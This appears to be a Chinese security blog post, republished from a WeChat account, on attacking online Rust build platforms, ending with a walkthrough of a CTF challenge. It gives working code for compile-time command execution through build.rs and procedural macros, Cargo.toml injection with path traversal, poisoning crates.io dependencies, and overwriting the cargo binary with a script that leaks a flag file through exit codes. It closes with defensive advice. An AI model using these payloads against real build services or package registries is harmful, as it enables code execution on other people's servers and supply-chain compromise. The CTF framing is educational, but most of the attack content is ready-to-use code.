rust编译平台常见攻击利用方法

admin 2025年4月8日20:44:30评论1 views字数 8044阅读26分48秒阅读模式

ust编译平台常见攻击利用方法

近年来,随着 Rust 语言在高性能、内存安全等领域的优势被广泛认可,越来越多的开发者选择将其应用于后端开发,尤其在 WebAssembly、微服务和高并发场景中表现亮眼。

然而,Rust 生态的快速扩张也带来了新的安全挑战:尽管语言本身通过所有权机制规避了内存安全问题,但 Web 应用层的逻辑漏洞(如 SQL 注入、身份验证绕过)、第三方库的潜在缺陷(如未充分审计的 unsafe 代码滥用)以及对安全实践的过度自信(如忽略输入验证或错误配置 CORS 策略),正在导致 Rust 相关的 Web 安全问题逐渐浮出水面。

社区亟需在享受 Rust 底层安全红利的同时,建立更完善的安全开发规范,加强依赖库审计,并推动 Web 框架的漏洞响应机制,以应对日益复杂的安全威胁。而生活中在线编译的环境随处可见,非常容易成为被攻击的重点对象,而本次就是在阿里 CTF 中出现的一道 Rust 编译类题目,故总结了一套相关的相关知识。

相关rust项目结构知识

在 Rust 生态中,Cargo.toml 文件如同项目的中枢神经,扮演着至关重要的**清单(Manifest)**角色。其不仅是一份静态的配置文件,还是是开发者与 Rust 编译工具链(Cargo)之间的核心。通过 toml,开发者能够以声明式语法精确控制项目——从定义包元数据(如版本、作者、许可证)、声明依赖关系(通过本地路径、Git 仓库或官方注册表[crates.io]引入第三方 crate),到定制编译策略(如特性开关、优化级别、目标平台配置),甚至扩展自定义构建脚本。

实现跨项目引用的核心机制,则隐藏在 Cargo.toml 的特定字段中:

dependence引用

[dependencies]项目名称 = {path = "本地路径"}项目名称 = {git = "git项目地址"}项目名称 = {version = "版本"}

workspace

若你提到的是管理多个关联的包(多 crate 项目),Cargo 提供了 [workspace] 配置,允许在单一仓库中组织多个 crate,共享依赖和构建缓存。

[workspace]members = [    "crate1",      # 子 crate 的目录名    "crate2",    "examples/*",  # 支持通配符]resolver = "2"     # 可选:统一依赖解析器

引用本地过程

Rust 的过程宏(Procedural Macros)是元编程(metaprogramming)的核心工具之一,允许开发者在编译时对代码进行动态生成和转换。与声明宏(Declarative Macros)不同,过程宏通过自定义代码逻辑直接操作抽象语法树(AST),实现更复杂的代码生成能力。以下是过程宏的深度解析,而我们也可以通过 Cargo.toml 对其进行引用。

那么如果现在存在一个文件夹拥有如下的 Rust 项目的文件夹。

├─testaaa│  ├─.idea│  ├─src│  └─Cargo.toml│     └─testbbb    ├─.idea    ├─src    └─Cargo.toml

那么此时可以通过在 testaaa 项目的 Cargo.toml 中使用以下配置来对其他的过程宏项目进行引用。

[lib]proc-macro = turepath = "../[项目名称]/xx.rs"

利用test宏快速白盒审计

Rust 的 test 宏提供了便捷的测试的方式,提供简单的 test 宏即可对单个函数到多个项目的调试,可以在 main.rs 以外的 rs 文件下添加以下代码:

#[cfg(test)]mod tests{    #[test]    fn test1(){        // 写入测试函数    }    #[test]    fn test2(){        // 写入测试函数    }}

我们可以在其中写入我们想要审计的函数并赋予一定的逻辑和参数,然后执行 cargo test 即可完成快速的代码审计测试。

cargo中的特性利用

在有的编译平台中,代码并不会在平台进行执行,而是仅对文件编译后再提供下载,那么这种情况下我们需要利用一定的 cargo 特性,来对其进行利用(如编译期执行)。

编译执行

Rust 的编译存在以下三种执行:

  • 过程宏编译执行 
  • build.rs 执行 
  • 编译时计算(不能利用)const fn

而其中 build 构建执行和过程宏编译时执行是常可以利用的项,它们可以实现编译时期无需运行来进行命令执行。

利用Cargo.toml实现main.rs自执行

很多时候我们无法自己创建 build.rs,但是可以利用 Cargo.toml 中的选项。

build = "路径"

我们可以将 build 的路径换成任何我们想要的 rs 文件(**包括 main.rs !**我们可以通过这点在很多有限制的地方进行执行)从而实现 build.rs 执行。

创建一个项目,在 Cargo.toml 中写入以下内容,让 main.rs 本身变为 build 脚本:

build = "main.rs"

然后在项目中写入以下内容,这里是在当前目录下创建如下测试文件:

    fn main() {        fs::OpenOptions::new().append(true).create(true).open("./test.rs").unwrap();    }

然后使用 Cargo build 进行仅编译,但我们会发现,即使没有执行的情况下,还是生成了对应的文件。利用这个特性,我们可以将其中生成修改为任意危险操作,亦或是捕获编译机目录、编译时代码名称等等等等。但是要注意的一点是,如果之间进行反弹 shell 的情况下会导致编译异常而被强行中断。

crates.io投毒

不只是利用本地的 build 脚本,前面我们提到过 Rust 的依赖选项,Rust 通过从 crates.io 下载源码或读取本机的源码编译。由于 cargo 编译时会执行自身及其依赖的 build 脚本,这些 crates 中的 build.rs 文件也会进行运行。我们通过在上传的库中的 build.rs 放入相关危险代码,然后在上传编译平台的代码中引用,也能实现同样的功能。(现在 crates.io 上传的库可以进行删除,溯源的可能性大幅度降低)。

crates 上传教程发布到 crates.io - Rust语言圣经(Rust Course)

利用过程宏

前面提到过,在 Rust 的编译期中过程宏也会进行运行,但往往上传编译并不会给我们一个上传完整的项目的机会,而通过单文件在 Cargo.toml 中启用过程宏这个方法,这里巧妙的是,cargo 会直接对 path 的目标文件进行 rustc 编译,也就是说,即使目标文件的结构并不符合 Rust 项目的标准,只要 Rust 代码没有错误都可以将其作为过程宏生成。如此一来我们遍可以在项目 a 的 main.rs 里实现过程宏,虽然不能被正常编译,但是可以在项目 b 中引用,从而实现编译。

我们可以在过程宏中构建以下代码,来进行危险操作,然后以 main.rs 上传第一次代码,此时我们是不需要配置 toml 的,当然这个编译也是不被通过的。

use proc_macro::TokenStream;use std::process::Command;#[proc_macro]pub fn some_macro(_item: TokenStream) -> TokenStream {    let output = Command::new("/bin/bash")        .args(&["—c", "*"]) //*中替换利用代码        .output()        .unwrap()        .stdout;    format!("fn some_function(){}").parse().unwrap()?}

之后我们只需要通过其他手段获得当前文件的名称与路径,再将路径放入第二个编译项目的 toml 中:

[lib]proc-macro = turepath = "*" //*替换为宏文件路径

此时编译第二个文件就将会执行第一次上传文件的代码了。过程宏编写指南

不稳定的特性

如果编译目标机器是属于 nightly 或可以对项目外的部分进行改写,那么就可以使用 cargo 的一些其他危险特性,如 metabuild 等等。

Cargo不稳定特性

平台环境判断

排除上文所说不执行的情况,平台提供执行功能的可能性还是要更高一些,一般来说这些编译平台都会再 docker 中运行,此时,我们需要去获取更多的信息,对当前的平台信息一些获取,才能更好的进一步利用。

判断系统和架构

std::env::consts::OS//如果env被禁用可以使用宏来判断fn target_os() {    #[cfg(target_os = "linux")]    println!("Linux");    #[cfg(target_os = "windows")]    println!("Windows");}

读取指定文件夹目录

可以提供读取目录来判断是否处于 docker 环境:

use std::{fs, io, path::Path};// 仅读取当前目录fn directories<P: AsRef<Path>>(path: P) -> io::Result<Vec<String>> {    let mut dirs = Vec::new();    for entry in fs::read_dir(path)? {        let entry = entry?;        let path = entry.path();        // 判断是否为目录(不跟随符号链接)        if entry.file_type()?.is_dir() {            dirs.push(path.display().to_string());        }    }    Ok(dirs)}// 读取目录以及子目录fn directories<P: AsRef<Path>>(path: P) -> io::Result<Vec<String>> {    let mut dirs = Vec::new();    for entry in fs::read_dir(path)? {        let entry = entry?;        let path = entry.path();        // 判断是否为目录(不跟随符号链接)        if entry.file_type()?.is_dir() {            let dir_path = path.display().to_string();            dirs.push(dir_path.clone());            // 递归子目录            let sub_dirs = list_all_directories(&path)?;            dirs.extend(sub_dirs);        }    }    Ok(dirs)}

命令执行

通过执行命令来进行环境信息收集:

//一次性返回fn com_run(){    let output = Command::new("echo")        .arg("dDostalker~")        .output() // 捕获输出(stdout/stderr)        .expect("Command failed");    println!("STDOUT: {}", String::from_utf8_lossy(&output.stdout));    println!("STDERR: {}", String::from_utf8_lossy(&output.stderr));}// 逐行处理fn com_run(){    let mut child = Command::new("ping")        .arg("dDostalker.github.io")        .stdout(Stdio::piped()) // 重定向标准输出到管道        .spawn() // 启动子进程        .expect("Failed to start command");    let stdout = child.stdout.take().unwrap();    let reader = BufReader::new(stdout);    for line in reader.lines() {        println!("{}", line.unwrap());    }    let status = child.wait().expect("wait command error");    println!("exit error: {}", status);}

替换编译器

在很多情况我们并不能正常回显或是不能正常的触发一个程序,这种情况下我们改那么我们可以通过"挖空"程序本体,换入我们的代码,这样一来,程序就可以通过下一次调用的流程的来触发。

开始编译->Cargo->rustc将cargo替换后开始编译->Cargo(自设指令)

以下是 linux 中 rustc 和 cargo 的常见位置:

系统级

~/.cargo/bin/         # rustc, cargo, rustup 等可执行文件~/.cargo/registry/    # 下载的依赖缓存~/.cargo/config.toml  # Cargo 配置文件

用户级

~/.rustup/toolchains/  # 不同版本工具链# 例如:~/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/~/.rustup/toolchains/nightly-x86_64-unknown-linux-gnu/~/.cargo/bin/         # rustc, cargo, rustup 等可执行文件~/.cargo/registry/    # 下载的依赖缓存~/.cargo/config.toml  # Cargo 配置文件

下面就是一个替换内容的例子,我们可以通过 cargo 特性利用内容中的方法,执行 Rust 代码将 cargo 替换为以下的脚本,这个脚本将会把 flag 作为错误状态码依次返回(运行一次返回一次),我们便可以通过不断运行编译流程,此时返回的错误码就为 flag 的 ascii 码。

#!/bin/shSTATE="/tmp/state.txt"if [ ! -f "$STATE" ]; then    echo 0 > "$STATE"fiFLAG=$(cat /flag)IDX=$(cat "$STATE")CHAR=$(echo "$FLAG" | cut -c$((IDX + 1)))if [ -z "$CHAR" ]; then    exit 255fiASCII=$(printf "%d" "'$CHAR")NEXT_IDX=$((IDX + 1))echo "$NEXT_IDX" > "$STATE"exit $ASCII

例题分析:Rust Action CTF题目

题目来源: 阿里云CTF

见附件

题目背景

题目模拟了一个简化版的GitHub Action系统,主要功能包括:

  • /jobs/list: 列出所有Job
  • /jobs/upload: 上传Job的zip压缩包  
  • /jobs/{id}/run: 运行指定Job
  • /artifacts/list: 列出所有构建产物
  • /artifacts/{id}: 下载指定构建产物

漏洞分析

系统配置文件(config.toml)存在以下关键配置:

[workflow.security]files = ['main.rs']  # 仅允许操作main.rs文件runs = ["cargo build", "cargo build --release"]  # 允许执行的命令

主要漏洞点在于route::upload_job函数中不安全的Cargo.toml生成方式:

let cargo_toml = format!(    include_str!("../templates/Cargo.toml.tpl"),    name = job.config.name,    version = job.config.version,    edition = job.config.edition,    description = job.config.description  // 存在注入漏洞);

漏洞利用步骤

  1. 发现注入点
    • Cargo.toml模板使用format!宏拼接,但未对description字段进行转义
    • 可通过description字段注入任意Cargo.toml配置
  1. 绕过文件限制
    • 系统限制只能操作main.rs文件
    • 但过程宏需要lib.rs和main.rs两个文件
    • 解决方案:上传两个Job,利用路径穿越引用
  1. 具体利用过程Job A (定义过程宏):
job:  name: macro-definer  mode: release  config:    name: macro-definer    version: "0.1.0"    edition: "2021"    description: "正常描述"  files:    - main.rs  # 包含过程宏定义  run: cargo build --release
use proc_macro::TokenStream;use std::process::Command;#[proc_macro]pub fn execute_command(_item: TokenStream) -> TokenStream {    let output = Command::new("/bin/bash")        .args(&["-c", "/readflag"])        .output()        .unwrap()        .stdout;    let s = String::from_utf8(output).unwrap();    format!("fn get_flag() -> String {{ "{}".to_string() }}", s)        .parse()        .unwrap()}

Job B (触发过程宏):

job:  name: macro-executor    mode: release  config:    name: macro-executor    version: "0.1.0"    edition: "2021"    description: |-      [lib]      proc-macro = true      path = "../../../../../../app/jobs/<JobA_ID>/files/main.rs"  files:    - main.rs  # 调用过程宏  run: cargo build --release

由于Cargo存在777权限,通过在过程宏执行命令将替换Cargo文件为以下代码的sh文件

#!/bin/shSTATE="/tmp/state.txt"if [ ! -f "$STATE" ]; then    echo 0 > "$STATE"fiFLAG=$(cat /flag)IDX=$(cat "$STATE")CHAR=$(echo "$FLAG" | cut -c$((IDX + 1)))if [ -z "$CHAR" ]; then    exit 255fiASCII=$(printf "%d" "'$CHAR")NEXT_IDX=$((IDX + 1))echo "$NEXT_IDX" > "$STATE"exit $ASCII

替换后每次编译执行的错误代码即为flag

防御建议

  1. 对Cargo.toml模板中的用户输入进行严格过滤
  1. 限制path字段的路径访问范围
  1. 禁止proc-macro等危险特性
  1. 在沙箱环境中执行编译过程

参考文献

1.阿里云CTF官方wp

2.rust圣经https://course.rs/

转自:https://xz.aliyun.com/news/17521?time__1311=eqUxn7DQDt0QY0KDsoOxpQDOKoYY5%3Dqdx&u_atoken=4240ec7b375dc38c86480e04398fb770&u_asig=1a0c399817440421070974983e0047

原文始发于微信公众号(船山信安):rust编译平台常见攻击利用方法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月8日20:44:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   rust编译平台常见攻击利用方法https://cn-sec.com/archives/3927623.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息